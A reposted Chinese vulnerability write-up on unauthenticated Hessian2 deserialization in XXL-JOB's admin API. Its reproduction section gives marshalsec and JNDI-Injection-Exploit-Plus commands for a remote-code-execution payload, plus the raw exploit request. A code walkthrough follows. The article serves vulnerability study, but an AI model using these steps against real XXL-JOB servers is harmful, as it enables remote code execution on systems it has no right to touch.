所有文章 > API安全 > 漏洞分析 | xxl-job前台api未授权Hessian2反序列化

漏洞分析 | xxl-job前台api未授权Hessian2反序列化

XXL-JOB是一个分布式任务调度平台。Hessian2是一种序列化协议,用于在XXL-JOB前后端之间传输数据。前台API未授权Hessian2反序列化是指,客户端请求XXL-JOB的前台API时,没有提供正确的认证信息,导致服务端无法正确地对请求进行反序列化处理。

0x01 漏洞复现

使用marshalsec生成hessian反序列化数据:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/remoteExploit8 > xxx/xxl-job/cmd.ser

项目地址:

https://github.com/mbechler/marshalsec

使用JNDI-Injection-Exploit-Plus监听rmi请求:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

项目地址:

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

发送请求包:

数据包:

POST /xxl-job-admin/api HTTP/1.1
Host: 192.168.22.5:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: x-application/hessian
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{{file(xxx/java/xxl-job/cmd.ser)}}

0x02 漏洞分析

0x02.1 漏洞搭建

版本小于2.0.2

直接clone源码后修改logback.xml的log.path为本地文件路径,然后导入MySQL文件,直接启动即可:

0x02.2 漏洞分析

根据请求的接口为api查找到对应的Controller为com.xxl.job.admin.controller.JobApiController,@PermessionLimit(limit=false)这里将limit设置为false就不需要鉴权,进入到这里直接进入下一步:

进入

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService

在这里面没有做任何操作:

随后就会进入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle中

首先判断target是否为/services,不是则会进入

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

对请求进行处理:

进入到

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest中

首先将请求中的body全部读取出来,读取出来的则会直接进行反序列化操作:

接下来就是查找是那个类进行反序列化操作,主要通过查找XxlRpcProviderFactory这个工厂类在那些地方被初始化,直接使用idea右键的find Usages:

总的就两个地方实例化了这个类:

com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler和com.xxl.job.core.executor.XxlJobExecutor

在这两个类中都是调用

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法

对成员变量赋值:

而在

com.xxl.rpc.remoting.provider.XxlRpcProviderFactory#initConfig方法中的第二个参数

就是刚才调用的反序列化类,通过工厂类返回给

com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest

使用:

这里放进去的反序列化类就是com.xxl.rpc.serialize.impl.HessianSerializer ,这里面其实调用的还是Hessian2进行反序列化:

最终在

com.xxl.rpc.serialize.impl.HessianSerializer#deserialize中进行hessian2

反序列化操作:

本文章转载微信公众号@杂七杂八聊安全

#你可能也喜欢这些API文章!